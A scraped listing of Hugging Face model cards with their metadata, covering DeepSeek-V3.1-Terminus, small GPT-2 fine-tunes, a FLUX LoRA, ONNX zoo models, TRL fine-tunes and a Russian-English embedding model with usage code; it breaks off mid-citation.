license: mit
library_name: transformers
base_model:
- deepseek-ai/DeepSeek-V3.1-Terminus
---
# DeepSeek-V3.1-Terminus
<!-- markdownlint-disable first-line-h1 -->
<!-- markdownlint-disable html -->
<!-- markdownlint-disable no-duplicate-header -->
<div align="center">
<img src="https://github.com/deepseek-ai/DeepSeek-V2/blob/main/figures/logo.svg?raw=true" width="60%" alt="DeepSeek-V3" />
</div>
<hr>
<div align="center" style="line-height: 1;">
<a href="https://www.deepseek.com/" target="_blank" style="margin: 2px;">
<img alt="Homepage" src="https://github.com/deepseek-ai/DeepSeek-V2/blob/main/figures/badge.svg?raw=true" style="display: inline-block; vertical-align: middle;"/>
</a>
<a href="https://chat.deepseek.com/" target="_blank" style="margin: 2px;">
<img alt="Chat" src="https://img.shields.io/badge/🤖%20Chat-DeepSeek%20V3-536af5?color=536af5&logoColor=white" style="display: inline-block; vertical-align: middle;"/>
</a>
<a href="https://huggingface.co/deepseek-ai" target="_blank" style="margin: 2px;">
<img alt="Hugging Face" src="https://img.shields.io/badge/%F0%9F%A4%97%20Hugging%20Face-DeepSeek%20AI-ffc107?color=ffc107&logoColor=white" style="display: inline-block; vertical-align: middle;"/>
</a>
</div>
<div align="center" style="line-height: 1;">
<a href="https://discord.gg/Tc7c45Zzu5" target="_blank" style="margin: 2px;">
<img alt="Discord" src="https://img.shields.io/badge/Discord-DeepSeek%20AI-7289da?logo=discord&logoColor=white&color=7289da" style="display: inline-block; vertical-align: middle;"/>
</a>
<a href="https://github.com/deepseek-ai/DeepSeek-V2/blob/main/figures/qr.jpeg?raw=true" target="_blank" style="margin: 2px;">
<img alt="Wechat" src="https://img.shields.io/badge/WeChat-DeepSeek%20AI-brightgreen?logo=wechat&logoColor=white" style="display: inline-block; vertical-align: middle;"/>
</a>
<a href="https://twitter.com/deepseek_ai" target="_blank" style="margin: 2px;">
<img alt="Twitter Follow" src="https://img.shields.io/badge/Twitter-deepseek_ai-white?logo=x&logoColor=white" style="display: inline-block; vertical-align: middle;"/>
</a>
</div>
<div align="center" style="line-height: 1;">
<a href="LICENSE" style="margin: 2px;">
<img alt="License" src="https://img.shields.io/badge/License-MIT-f5de53?&color=f5de53" style="display: inline-block; vertical-align: middle;"/>
</a>
</div>
## Introduction
This update maintains the model's original capabilities while addressing issues reported by users, including:
- Language consistency: Reducing instances of mixed Chinese-English text and occasional abnormal characters;
- Agent capabilities: Further optimizing the performance of the Code Agent and Search Agent.
| Benchmark | DeepSeek-V3.1 | DeepSeek-V3.1-Terminus |
| :--- | :---: | :---: |
| **Reasoning Mode w/o Tool Use** | | |
| MMLU-Pro | 84.8 | 85.0 |
| GPQA-Diamond | 80.1 | 80.7 |
| Humanity's Last Exam | 15.9 | 21.7 |
| LiveCodeBench | 74.8 | 74.9 |
| Codeforces | 2091 | 2046 |
| Aider-Polyglot | 76.3 | 76.1 |
| **Agentic Tool Use** | | |
| BrowseComp | 30.0 | 38.5 |
| BrowseComp-zh | 49.2 | 45.0 |
| SimpleQA | 93.4 | 96.8 |
| SWE Verified | 66.0 | 68.4 |
| SWE-bench Multilingual | 54.5 | 57.8 |
| Terminal-bench | 31.3 | 36.7 |
**The template and tool-set of search agent have been updated, which is shown in `assets/search_tool_trajectory.html`.**
## How to Run Locally
The model structure of DeepSeek-V3.1-Terminus is the same as DeepSeek-V3. Please visit [DeepSeek-V3](https://github.com/deepseek-ai/DeepSeek-V3) repo for more information about running this model locally.
For the model's chat template other than search agent, please refer to the [DeepSeek-V3.1](https://huggingface.co/deepseek-ai/DeepSeek-V3.1) repo.
Here we also provide an updated inference demo code in the `inference` folder to help the community get started with running our model and understand the details of model architecture.
**NOTE: In the current model checkpoint, the parameters of `self_attn.o_proj` do not conform to the UE8M0 FP8 scale data format. This is a known issue and will be corrected in future model releases.**
## License
This repository and the model weights are licensed under the [MIT License](LICENSE).
## Citation
```
@misc{deepseekai2024deepseekv3technicalreport,
title={DeepSeek-V3 Technical Report},
author={DeepSeek-AI},
year={2024},
eprint={2412.19437},
archivePrefix={arXiv},
primaryClass={cs.CL},
url={https://arxiv.org/abs/2412.19437},
}
```
## Contact
If you have any questions, please raise an issue or contact us at [[email protected]]([email protected]).
|
fpadovani/cds_shuffle_np_51
|
fpadovani
| 2025-09-23T14:33:18Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"gpt2",
"text-generation",
"generated_from_trainer",
"autotrain_compatible",
"text-generation-inference",
"endpoints_compatible",
"region:us"
] |
text-generation
| 2025-09-23T14:04:25Z |
---
library_name: transformers
tags:
- generated_from_trainer
model-index:
- name: cds_shuffle_np_51
results: []
---
<!-- This model card has been generated automatically according to the information the Trainer had access to. You
should probably proofread and complete it, then remove this comment. -->
# cds_shuffle_np_51
This model is a fine-tuned version of [](https://huggingface.co/) on an unknown dataset.
It achieves the following results on the evaluation set:
- Loss: 3.4633
## Model description
More information needed
## Intended uses & limitations
More information needed
## Training and evaluation data
More information needed
## Training procedure
### Training hyperparameters
The following hyperparameters were used during training:
- learning_rate: 0.0001
- train_batch_size: 256
- eval_batch_size: 256
- seed: 51
- optimizer: Use adamw_torch_fused with betas=(0.9,0.999) and epsilon=1e-08 and optimizer_args=No additional optimizer arguments
- lr_scheduler_type: linear
- lr_scheduler_warmup_steps: 200
- num_epochs: 5
- mixed_precision_training: Native AMP
### Training results
| Training Loss | Epoch | Step | Validation Loss |
|:-------------:|:-----:|:----:|:---------------:|
| No log | 1.0 | 485 | 3.8830 |
| 4.4798 | 2.0 | 970 | 3.6370 |
| 3.4274 | 3.0 | 1455 | 3.5357 |
| 3.2156 | 4.0 | 1940 | 3.4836 |
| 3.0992 | 5.0 | 2425 | 3.4633 |
### Framework versions
- Transformers 4.56.1
- Pytorch 2.8.0+cu128
- Datasets 4.0.0
- Tokenizers 0.22.0
|
StrategyAI/strategy-mosaic-krea
|
StrategyAI
| 2025-09-23T14:32:57Z | 0 | 0 |
diffusers
|
[
"diffusers",
"text-to-image",
"lora",
"template:diffusion-lora",
"base_model:black-forest-labs/FLUX.1-Krea-dev",
"base_model:adapter:black-forest-labs/FLUX.1-Krea-dev",
"region:us"
] |
text-to-image
| 2025-09-23T14:29:38Z |
---
tags:
- text-to-image
- lora
- diffusers
- template:diffusion-lora
widget:
- output:
url: images/mosaic-krea-1.jpg
text: 'A radiant orange fruit dissolves softly into floating shards of light and fragments of digital code. Seeds become tiny luminous orbs, drifting gracefully like satellites across a cosmic dreamscape. The background blends deep space with painterly nebula clouds glowing grids fading into mist.'
- output:
url: images/mosaic-krea-2.jpg
text: 'The subway hums with life as it rushes through the city, its windows glowing with reflections of neon signs and passing lights. Inside the train is crowded with passengers some leaning wearily against poles, others lost in the blur of their own thoughts while outside the glass, streaks of orange from streetlamps and city towers smear across the wet night. The motion of the train carries the same restless energy as the streets above echoing with the rhythm of wheels on steel and the subtle sway of bodies moving together capturing the architecture movement and pulse of an urban night that never truly rests.'
- output:
url: images/mosaic-krea-3.jpg
text: 'The harbor at sunset golden orange glow flooding the water. Boats drift and cut across the harbor their wakes catching the light in blurred shimmering trails. The skyline rises behind in layered silhouettes glass towers reflecting the fire of the setting sun, glowing with depth and contrast. Along the waterfront figures walk in soft motion blur their outlines glowing against the orange haze. Reflections ripple across wet pavement and waves balancing stillness and motion the whole scene brooding beautiful an urban symphony of architecture water and light bound together in the fading day.'
- output:
url: images/mosaic-krea-4.jpg
text: 'The runway hums with restless energy stretching into the night in sharp endless lines of glowing amber and white, bursting. A plane waits at its edge engines roaring heat rippling in waves that bend and blur the lights around it. Up close its windows glow like a string of orange lanterns flickering with reflections of the terminal and the restless city beyond. Shadows crawl across its polished body as service vehicles streak past in smears of color stitching motion into the frame. The tarmac gleams under the floodlamps every reflection trembling as if the ground itself were alive with anticipation. Behind the terminal glows in layered grids of orange light glass walls pulsing with digital signs and the blurred rhythm of movement within. Then the aircraft surges forward its fuselage slicing through the glow headlights bursting into brilliance windows streaking into a blur of fire and shadow. The frame erupts with balance steel light and motion colliding in a cinematic rush brooding and alive city.'
- output:
url: images/mosaic-krea-5.jpg
text: 'The harbout deep color and rich contrast. Boats glide across dark water their lights smearing into glowing streaks like motion blur. In the background a dense skyline rises towers lit with neon and amber windows their reflections trembling across the waves. Along the waterfront promenade silhouettes of people move in blurred motion walking beneath glowing streetlamps that cast orange halos on wet pavement. The scene is brooding yet balanced, filled with depth and energy architecture water and human movement merging into a restless rhythm echoing the pulse of a city that never sleeps.'
- output:
url: images/mosaic-krea-6.jpg
text: 'A narrow street corner glows with the warmth of an orange-lit bookstore. The glass windows fog slightly from the warmth inside, where shelves of old books lean together. Outside, the rain paints shimmering amber reflections on cobblestone.'
base_model: black-forest-labs/FLUX.1-Krea-dev
instance_prompt: MosaicPainterKrea
---
# strategy-mosaic-krea
<Gallery />
## Model description
strategy-mosaic-krea is a FLUX.1-Krea-dev LoRA based on Strategy Mosaic imagery.
## Try the model
You can try the model on our [Discord Server](https://discord.gg/NJNSwWHeF7)
## Trigger words
You should use `MosaicPainterKrea` to trigger the image generation.
## Download model
[Download](/StrategyAI/strategy-mosaic-krea/tree/main) them in the Files & versions tab.
## License
This model falls under the [FLUX.1 [dev] Non-Commercial License](https://huggingface.co/black-forest-labs/FLUX.1-dev/blob/main/LICENSE.md).
|
onnxmodelzoo/resnetv2_152x2_bit_teacher_384_Opset16
|
onnxmodelzoo
| 2025-09-23T14:30:26Z | 0 | 0 | null |
[
"onnx",
"Computer_Vision",
"en",
"license:apache-2.0",
"region:us"
] | null | 2025-09-23T14:28:53Z |
---
language: en
license: apache-2.0
model_name: resnetv2_152x2_bit_teacher_384_Opset16.onnx
tags:
- Computer_Vision
---
|
starriver030515/Qwen2.5-Math-7B-32k
|
starriver030515
| 2025-09-23T14:29:21Z | 4 | 0 |
transformers
|
[
"transformers",
"safetensors",
"qwen2",
"text-generation",
"conversational",
"arxiv:2509.16591",
"license:mit",
"autotrain_compatible",
"text-generation-inference",
"endpoints_compatible",
"region:us"
] |
text-generation
| 2025-09-17T07:21:45Z |
---
license: mit
library_name: transformers
pipeline_tag: text-generation
---
The base Qwen2.5-Math-7B model used by HAPO.
We extend the context window to 32k.
# Citation
If you find our model, data, or evaluation code useful, please kindly cite our paper:
```bib
@misc{liu2025uniformheterogeneoustailoringpolicy,
title={From Uniform to Heterogeneous: Tailoring Policy Optimization to Every Token's Nature},
author={Zheng Liu and Mengjie Liu and Siwei Wen and Mengzhang Cai and Bin Cui and Conghui He and Wentao Zhang},
year={2025},
eprint={2509.16591},
archivePrefix={arXiv},
primaryClass={cs.CL},
url={https://arxiv.org/abs/2509.16591},
}
```
|
Nuvantim/maxim_sentiment_analysis_model
|
Nuvantim
| 2025-09-23T14:29:04Z | 0 | 0 | null |
[
"finance",
"legal",
"text-classification",
"id",
"license:mit",
"region:us"
] |
text-classification
| 2025-09-23T14:23:55Z |
---
license: mit
language:
- id
metrics:
- accuracy
pipeline_tag: text-classification
tags:
- finance
- legal
---
|
onnxmodelzoo/resnetv2_101x1_bitm_Opset17
|
onnxmodelzoo
| 2025-09-23T14:28:52Z | 0 | 0 | null |
[
"onnx",
"Computer_Vision",
"en",
"license:apache-2.0",
"region:us"
] | null | 2025-09-23T14:28:35Z |
---
language: en
license: apache-2.0
model_name: resnetv2_101x1_bitm_Opset17.onnx
tags:
- Computer_Vision
---
|
onnxmodelzoo/resnetv2_101x1_bitm_Opset16
|
onnxmodelzoo
| 2025-09-23T14:28:34Z | 0 | 0 | null |
[
"onnx",
"Computer_Vision",
"en",
"license:apache-2.0",
"region:us"
] | null | 2025-09-23T14:28:13Z |
---
language: en
license: apache-2.0
model_name: resnetv2_101x1_bitm_Opset16.onnx
tags:
- Computer_Vision
---
|
onnxmodelzoo/resnetrs420_Opset17
|
onnxmodelzoo
| 2025-09-23T14:26:21Z | 0 | 0 | null |
[
"onnx",
"Computer_Vision",
"en",
"license:apache-2.0",
"region:us"
] | null | 2025-09-23T14:25:45Z |
---
language: en
license: apache-2.0
model_name: resnetrs420_Opset17.onnx
tags:
- Computer_Vision
---
|
onnxmodelzoo/resnetrs350_Opset16
|
onnxmodelzoo
| 2025-09-23T14:24:35Z | 0 | 0 | null |
[
"onnx",
"Computer_Vision",
"en",
"license:apache-2.0",
"region:us"
] | null | 2025-09-23T14:24:01Z |
---
language: en
license: apache-2.0
model_name: resnetrs350_Opset16.onnx
tags:
- Computer_Vision
---
|
ChenWu98/numina_qwen_2.5_3b_sft_teachers_no_reasoning_source_split_0_2048_0.25
|
ChenWu98
| 2025-09-23T14:22:55Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"generated_from_trainer",
"trl",
"sft",
"base_model:Qwen/Qwen2.5-3B",
"base_model:finetune:Qwen/Qwen2.5-3B",
"endpoints_compatible",
"region:us"
] | null | 2025-09-23T14:17:41Z |
---
base_model: Qwen/Qwen2.5-3B
library_name: transformers
model_name: numina_qwen_2.5_3b_sft_teachers_no_reasoning_source_split_0_2048_0.25
tags:
- generated_from_trainer
- trl
- sft
licence: license
---
# Model Card for numina_qwen_2.5_3b_sft_teachers_no_reasoning_source_split_0_2048_0.25
This model is a fine-tuned version of [Qwen/Qwen2.5-3B](https://huggingface.co/Qwen/Qwen2.5-3B).
It has been trained using [TRL](https://github.com/huggingface/trl).
## Quick start
```python
from transformers import pipeline
question = "If you had a time machine, but could only go to the past or the future once and never return, which would you choose and why?"
generator = pipeline("text-generation", model="None", device="cuda")
output = generator([{"role": "user", "content": question}], max_new_tokens=128, return_full_text=False)[0]
print(output["generated_text"])
```
## Training procedure
[<img src="https://raw.githubusercontent.com/wandb/assets/main/wandb-github-badge-28.svg" alt="Visualize in Weights & Biases" width="150" height="24"/>](https://wandb.ai/chenwu/huggingface/runs/p1lgqkz8)
This model was trained with SFT.
### Framework versions
- TRL: 0.19.1
- Transformers: 4.51.1
- Pytorch: 2.7.0
- Datasets: 4.0.0
- Tokenizers: 0.21.4
## Citations
Cite TRL as:
```bibtex
@misc{vonwerra2022trl,
title = {{TRL: Transformer Reinforcement Learning}},
author = {Leandro von Werra and Younes Belkada and Lewis Tunstall and Edward Beeching and Tristan Thrush and Nathan Lambert and Shengyi Huang and Kashif Rasul and Quentin Gallou{\'e}dec},
year = 2020,
journal = {GitHub repository},
publisher = {GitHub},
howpublished = {\url{https://github.com/huggingface/trl}}
}
```
|
ZYXue/2025_09_23_03_48_35_PDT
|
ZYXue
| 2025-09-23T12:28:33Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"generated_from_trainer",
"sft",
"trl",
"base_model:google/medgemma-4b-it",
"base_model:finetune:google/medgemma-4b-it",
"endpoints_compatible",
"region:us"
] | null | 2025-09-23T10:52:39Z |
---
base_model: google/medgemma-4b-it
library_name: transformers
model_name: 2025_09_23_03_48_35_PDT
tags:
- generated_from_trainer
- sft
- trl
licence: license
---
# Model Card for 2025_09_23_03_48_35_PDT
This model is a fine-tuned version of [google/medgemma-4b-it](https://huggingface.co/google/medgemma-4b-it).
It has been trained using [TRL](https://github.com/huggingface/trl).
## Quick start
```python
from transformers import pipeline
question = "If you had a time machine, but could only go to the past or the future once and never return, which would you choose and why?"
generator = pipeline("text-generation", model="ZYXue/2025_09_23_03_48_35_PDT", device="cuda")
output = generator([{"role": "user", "content": question}], max_new_tokens=128, return_full_text=False)[0]
print(output["generated_text"])
```
## Training procedure
This model was trained with SFT.
### Framework versions
- TRL: 0.23.0
- Transformers: 4.56.2
- Pytorch: 2.8.0+cu126
- Datasets: 4.1.1
- Tokenizers: 0.22.1
## Citations
Cite TRL as:
```bibtex
@misc{vonwerra2022trl,
title = {{TRL: Transformer Reinforcement Learning}},
author = {Leandro von Werra and Younes Belkada and Lewis Tunstall and Edward Beeching and Tristan Thrush and Nathan Lambert and Shengyi Huang and Kashif Rasul and Quentin Gallou{\'e}dec},
year = 2020,
journal = {GitHub repository},
publisher = {GitHub},
howpublished = {\url{https://github.com/huggingface/trl}}
}
```
|
marshallhamzah/EchoPath
|
marshallhamzah
| 2025-09-23T12:25:58Z | 0 | 0 |
diffusers
|
[
"diffusers",
"safetensors",
"license:apache-2.0",
"region:us"
] | null | 2025-09-23T12:12:49Z |
---
license: apache-2.0
---
|
fpadovani/cds_replace_word_stanza_verb_51
|
fpadovani
| 2025-09-23T12:22:48Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"gpt2",
"text-generation",
"generated_from_trainer",
"autotrain_compatible",
"text-generation-inference",
"endpoints_compatible",
"region:us"
] |
text-generation
| 2025-09-23T11:59:11Z |
---
library_name: transformers
tags:
- generated_from_trainer
model-index:
- name: cds_replace_word_stanza_verb_51
results: []
---
<!-- This model card has been generated automatically according to the information the Trainer had access to. You
should probably proofread and complete it, then remove this comment. -->
# cds_replace_word_stanza_verb_51
This model is a fine-tuned version of [](https://huggingface.co/) on an unknown dataset.
It achieves the following results on the evaluation set:
- Loss: 3.3397
## Model description
More information needed
## Intended uses & limitations
More information needed
## Training and evaluation data
More information needed
## Training procedure
### Training hyperparameters
The following hyperparameters were used during training:
- learning_rate: 0.0001
- train_batch_size: 256
- eval_batch_size: 256
- seed: 51
- optimizer: Use adamw_torch_fused with betas=(0.9,0.999) and epsilon=1e-08 and optimizer_args=No additional optimizer arguments
- lr_scheduler_type: linear
- lr_scheduler_warmup_steps: 200
- num_epochs: 5
- mixed_precision_training: Native AMP
### Training results
| Training Loss | Epoch | Step | Validation Loss |
|:-------------:|:-----:|:----:|:---------------:|
| No log | 1.0 | 499 | 3.5965 |
| 4.2131 | 2.0 | 998 | 3.4521 |
| 3.2298 | 3.0 | 1497 | 3.3883 |
| 3.0936 | 4.0 | 1996 | 3.3526 |
| 3.0121 | 5.0 | 2495 | 3.3397 |
### Framework versions
- Transformers 4.56.1
- Pytorch 2.8.0+cu128
- Datasets 4.0.0
- Tokenizers 0.22.0
|
aru2908/qwen2-audio-7B-2x
|
aru2908
| 2025-09-23T12:20:53Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"generated_from_trainer",
"sft",
"trl",
"base_model:Qwen/Qwen2-Audio-7B-Instruct",
"base_model:finetune:Qwen/Qwen2-Audio-7B-Instruct",
"endpoints_compatible",
"region:us"
] | null | 2025-09-23T12:02:47Z |
---
base_model: Qwen/Qwen2-Audio-7B-Instruct
library_name: transformers
model_name: qwen2-audio-7B-2x
tags:
- generated_from_trainer
- sft
- trl
licence: license
---
# Model Card for qwen2-audio-7B-2x
This model is a fine-tuned version of [Qwen/Qwen2-Audio-7B-Instruct](https://huggingface.co/Qwen/Qwen2-Audio-7B-Instruct).
It has been trained using [TRL](https://github.com/huggingface/trl).
## Quick start
```python
from transformers import pipeline
question = "If you had a time machine, but could only go to the past or the future once and never return, which would you choose and why?"
generator = pipeline("text-generation", model="aru2908/qwen2-audio-7B-2x", device="cuda")
output = generator([{"role": "user", "content": question}], max_new_tokens=128, return_full_text=False)[0]
print(output["generated_text"])
```
## Training procedure
This model was trained with SFT.
### Framework versions
- TRL: 0.23.0
- Transformers: 4.57.0.dev0
- Pytorch: 2.8.0
- Datasets: 3.6.0
- Tokenizers: 0.22.0
## Citations
Cite TRL as:
```bibtex
@misc{vonwerra2022trl,
title = {{TRL: Transformer Reinforcement Learning}},
author = {Leandro von Werra and Younes Belkada and Lewis Tunstall and Edward Beeching and Tristan Thrush and Nathan Lambert and Shengyi Huang and Kashif Rasul and Quentin Gallou{\'e}dec},
year = 2020,
journal = {GitHub repository},
publisher = {GitHub},
howpublished = {\url{https://github.com/huggingface/trl}}
}
```
|
rtxtd/phi2-mental-health-finetune
|
rtxtd
| 2025-09-23T12:14:33Z | 0 | 0 |
peft
|
[
"peft",
"safetensors",
"base_model:adapter:microsoft/phi-2",
"lora",
"sft",
"transformers",
"trl",
"text-generation",
"dataset:Amod/mental_health_counseling_conversations",
"base_model:microsoft/phi-2",
"license:apache-2.0",
"region:us"
] |
text-generation
| 2025-09-23T08:51:56Z |
---
base_model: microsoft/phi-2
library_name: peft
model_name: results
tags:
- base_model:adapter:microsoft/phi-2
- lora
- sft
- transformers
- trl
licence: license
pipeline_tag: text-generation
license: apache-2.0
datasets:
- Amod/mental_health_counseling_conversations
metrics:
- bleu
---
# Phi2 Mental Health Model
This model is a fine-tuned version of [microsoft/phi-2](https://huggingface.co/microsoft/phi-2).
- **Training data:** Amod/mental_health_counseling_conversations
- **Quantization:** 4-bit NF4
- **LoRA config:** r=32, alpha=32, dropout=0.05
- **Intended use:** Mental health response generation
- It has been trained using [TRL](https://github.com/huggingface/trl).
## Quick start
```python
from transformers import pipeline
question = "If you had a time machine, but could only go to the past or the future once and never return, which would you choose and why?"
generator = pipeline("text-generation", model="None", device="cuda")
output = generator([{"role": "user", "content": question}], max_new_tokens=128, return_full_text=False)[0]
print(output["generated_text"])
```
## Training procedure
[<img src="https://raw.githubusercontent.com/wandb/assets/main/wandb-github-badge-28.svg" alt="Visualize in Weights & Biases" width="150" height="24"/>](https://wandb.ai/turingetic_guy-iitram-institute-of-infrastructure-techno/phi2-mental-health-finetune/runs/4mikbxpv)
This model was trained with SFT.
### Framework versions
- PEFT 0.17.1
- TRL: 0.23.0
- Transformers: 4.56.2
- Pytorch: 2.8.0+cu126
- Datasets: 4.0.0
- Tokenizers: 0.22.0
## Citations
Cite TRL as:
```bibtex
@misc{vonwerra2022trl,
title = {{TRL: Transformer Reinforcement Learning}},
author = {Leandro von Werra and Younes Belkada and Lewis Tunstall and Edward Beeching and Tristan Thrush and Nathan Lambert and Shengyi Huang and Kashif Rasul and Quentin Gallou{\'e}dec},
year = 2020,
journal = {GitHub repository},
publisher = {GitHub},
howpublished = {\url{https://github.com/huggingface/trl}}
}
```
|
MrOceanMan/Reinforce-CartPole-v1
|
MrOceanMan
| 2025-09-23T12:07:42Z | 0 | 0 | null |
[
"CartPole-v1",
"reinforce",
"reinforcement-learning",
"custom-implementation",
"deep-rl-class",
"model-index",
"region:us"
] |
reinforcement-learning
| 2025-09-23T11:19:33Z |
---
tags:
- CartPole-v1
- reinforce
- reinforcement-learning
- custom-implementation
- deep-rl-class
model-index:
- name: Reinforce-CartPole-v1
results:
- task:
type: reinforcement-learning
name: reinforcement-learning
dataset:
name: CartPole-v1
type: CartPole-v1
metrics:
- type: mean_reward
value: 1335.50 +/- 329.60
name: mean_reward
verified: false
---
# **Reinforce** Agent playing **CartPole-v1**
This is a trained model of a **Reinforce** agent playing **CartPole-v1** .
To learn to use this model and train yours check Unit 4 of the Deep Reinforcement Learning Course: https://huggingface.co/deep-rl-course/unit4/introduction
|
ai-sage/Giga-Embeddings-instruct
|
ai-sage
| 2025-09-23T12:07:00Z | 1,485 | 54 | null |
[
"safetensors",
"gigarembed",
"MTEB",
"feature-extraction",
"custom_code",
"ru",
"en",
"license:mit",
"region:us"
] |
feature-extraction
| 2024-12-11T12:25:30Z |
---
license: mit
language:
- ru
- en
pipeline_tag: feature-extraction
tags:
- MTEB
---
## Giga-Embeddings-instruct
- Base Decoder-only LLM: GigaChat-3b
- Pooling Type: Latent-Attention
- Embedding Dimension: 2048
## Использование
Ниже приведен пример кодирования запросов и текстов.
### Requirements
```bash
pip install -q transformers==4.48.0 sentence-transformers==5.1.1 datasets langchain_community langchain_huggingface langchain_gigachat
```
### Transformers
```python
import os
import torch
import torch.nn.functional as F
from transformers import AutoTokenizer, AutoModel
# Each query needs to be accompanied by an corresponding instruction describing the task.
task_name_to_instruct = {"example": "Given a question, retrieve passages that answer the question",}
query_prefix = task_name_to_instruct["example"] + "\nquestion: "
queries = [
'are judo throws allowed in wrestling?',
'how to become a radiology technician in michigan?'
]
# No instruction needed for retrieval passages
passage_prefix = ""
passages = [
"Since you're reading this, you are probably someone from a judo background or someone who is just wondering how judo techniques can be applied under wrestling rules. So without further ado, let's get to the question. Are Judo throws allowed in wrestling? Yes, judo throws are allowed in freestyle and folkstyle wrestling. You only need to be careful to follow the slam rules when executing judo throws. In wrestling, a slam is lifting and returning an opponent to the mat with unnecessary force.",
"Below are the basic steps to becoming a radiologic technologist in Michigan:Earn a high school diploma. As with most careers in health care, a high school education is the first step to finding entry-level employment. Taking classes in math and science, such as anatomy, biology, chemistry, physiology, and physics, can help prepare students for their college studies and future careers.Earn an associate degree. Entry-level radiologic positions typically require at least an Associate of Applied Science. Before enrolling in one of these degree programs, students should make sure it has been properly accredited by the Joint Review Committee on Education in Radiologic Technology (JRCERT).Get licensed or certified in the state of Michigan."
]
# load model with tokenizer
model = AutoModel.from_pretrained('ai-sage/Giga-Embeddings-instruct', trust_remote_code=True)
# get the embeddings
query_embeddings = model.encode(queries, instruction=query_prefix)
passage_embeddings = model.encode(passages, instruction=passage_prefix)
scores = (query_embeddings @ passage_embeddings.T) * 100
print(scores.tolist())
```
### LangChain
```python
import torch
from langchain_huggingface import HuggingFaceEmbeddings
# Load model
embeddings = HuggingFaceEmbeddings(
model_name='ai-sage/Giga-Embeddings-instruct',
encode_kwargs={},
model_kwargs={
'device': 'cuda', # or 'cpu'
'trust_remote_code': True,
'model_kwargs': {'torch_dtype': torch.bfloat16},
'prompts': {'query': 'Given a question, retrieve passages that answer the question\nquestion: '}
}
)
# Tokenizer
embeddings._client.tokenizer.tokenize("Hello world! I am GigaChat")
# Query embeddings
query_embeddings = embeddings.embed_query("Hello world!")
print(f"Your embeddings: {query_embeddings[0:20]}...")
print(f"Vector size: {len(query_embeddings)}")
# Document embeddings
documents = ["foo bar", "bar foo"]
documents_embeddings = embeddings.embed_documents(documents)
print(f"Vector size: {len(documents_embeddings)} x {len(documents_embeddings[0])}")
```
## Инструктивность
**Использование инструкций для улучшения качества эмбеддингов**
Для достижения более точных результатов при работе с эмбеддингами, особенно в задачах поиска и извлечения информации (retrieval), рекомендуется добавлять инструкцию на естественном языке перед текстовым запросом (query). Это помогает модели лучше понять контекст и цель запроса, что положительно сказывается на качестве результатов. Важно отметить, что инструкцию нужно добавлять только перед запросом, а не перед документом.
Для **симметричных задач**, таких как классификация (classification) или семантическое сравнение текстов (semantic text similarity), инструкцию необходимо добавлять перед каждым запросом. Это связано с тем, что такие задачи требуют одинакового контекста для всех входных данных, чтобы модель могла корректно сравнивать или классифицировать их.
**Примеры инструкций для симметричных задач:**
- `"Retrieve semantically similar text \ntext: {query}"`
- `"Given a text, retrieve semantically similar text \ntext: {query}"`
- `"Дано предложение, необходимо найти его парафраз \nпредложение: {query}"`
- `"Классифицируй отзыв на товар как положительный, отрицательный или нейтральный \nотзыв: {query}"`
- `"Классифицируй чувствительную тему по запросу \nзапрос: {query}"`
Для **retrieval-задач** (например, поиск ответа в тексте) можно использовать инструкцию:
`'Дан вопрос, необходимо найти абзац текста с ответом \nвопрос: {query}'`.
Такой подход особенно эффективен для задач поиска и извлечения информации, таких как поиск релевантных документов или извлечение ответов из текста.
**Примеры инструкций для retrieval-задач:**
- `'Дан вопрос, необходимо найти абзац текста с ответом \nвопрос: {query}'`
- `'Given the question, find a paragraph with the answer \nquestion: {query}'`
Использование инструкций позволяет значительно улучшить качество поиска и релевантность результатов, что подтверждается тестами на бенчмарках, таких как RuBQ. Для симметричных задач добавление инструкции перед каждым запросом обеспечивает согласованность и повышает точность модели.
## Поддерживаемые языки
Эта модель инициализирована pretrain моделью GigaChat и дополнительно обучена на смеси английских и русских данных. Однако, поскольку pretrain GigaChat'a делался в основном на русскоязычных данных, мы рекомендуем использовать эту модель только для русского языка.
## FAQ
1. Нужно ли добавлять инструкции к запросу?
Да, именно так модель обучалась, иначе вы увидите снижение качества. Определение задачи должно быть инструкцией в одном предложении, которая описывает задачу. Это способ настройки текстовых эмбеддингов для разных сценариев с помощью инструкций на естественном языке.
С другой стороны, добавлять инструкции на сторону документа не требуется.
2. Почему мои воспроизведённые результаты немного отличаются от указанных в карточке модели?
Разные версии библиотек transformers и pytorch могут вызывать незначительные, но ненулевые различия в результатах.
## Ограничения
Использование этой модели для входных данных, содержащих более 4096 токенов, невозможно.
|
jasonhuang3/Pro6000-dpop-old-prompt-qwen-2-5-7b-math_lora_28k
|
jasonhuang3
| 2025-09-23T12:04:46Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"generated_from_trainer",
"trl",
"dpo",
"arxiv:2305.18290",
"base_model:Qwen/Qwen2.5-Math-7B",
"base_model:finetune:Qwen/Qwen2.5-Math-7B",
"endpoints_compatible",
"region:us"
] | null | 2025-09-22T06:05:24Z |
---
base_model: Qwen/Qwen2.5-Math-7B
library_name: transformers
model_name: Pro6000-dpop-old-prompt-qwen-2-5-7b-math_lora_28k
tags:
- generated_from_trainer
- trl
- dpo
licence: license
---
# Model Card for Pro6000-dpop-old-prompt-qwen-2-5-7b-math_lora_28k
This model is a fine-tuned version of [Qwen/Qwen2.5-Math-7B](https://huggingface.co/Qwen/Qwen2.5-Math-7B).
It has been trained using [TRL](https://github.com/huggingface/trl).
## Quick start
```python
from transformers import pipeline
question = "If you had a time machine, but could only go to the past or the future once and never return, which would you choose and why?"
generator = pipeline("text-generation", model="jasonhuang3/Pro6000-dpop-old-prompt-qwen-2-5-7b-math_lora_28k", device="cuda")
output = generator([{"role": "user", "content": question}], max_new_tokens=128, return_full_text=False)[0]
print(output["generated_text"])
```
## Training procedure
[<img src="https://raw.githubusercontent.com/wandb/assets/main/wandb-github-badge-28.svg" alt="Visualize in Weights & Biases" width="150" height="24"/>](https://wandb.ai/jasonhuang3-school/huggingface/runs/bqc88cpa)
This model was trained with DPO, a method introduced in [Direct Preference Optimization: Your Language Model is Secretly a Reward Model](https://huggingface.co/papers/2305.18290).
### Framework versions
- TRL: 0.18.0
- Transformers: 4.56.0
- Pytorch: 2.7.0+cu128
- Datasets: 4.0.0
- Tokenizers: 0.22.0
## Citations
Cite DPO as:
```bibtex
@inproceedings{rafailov2023direct,
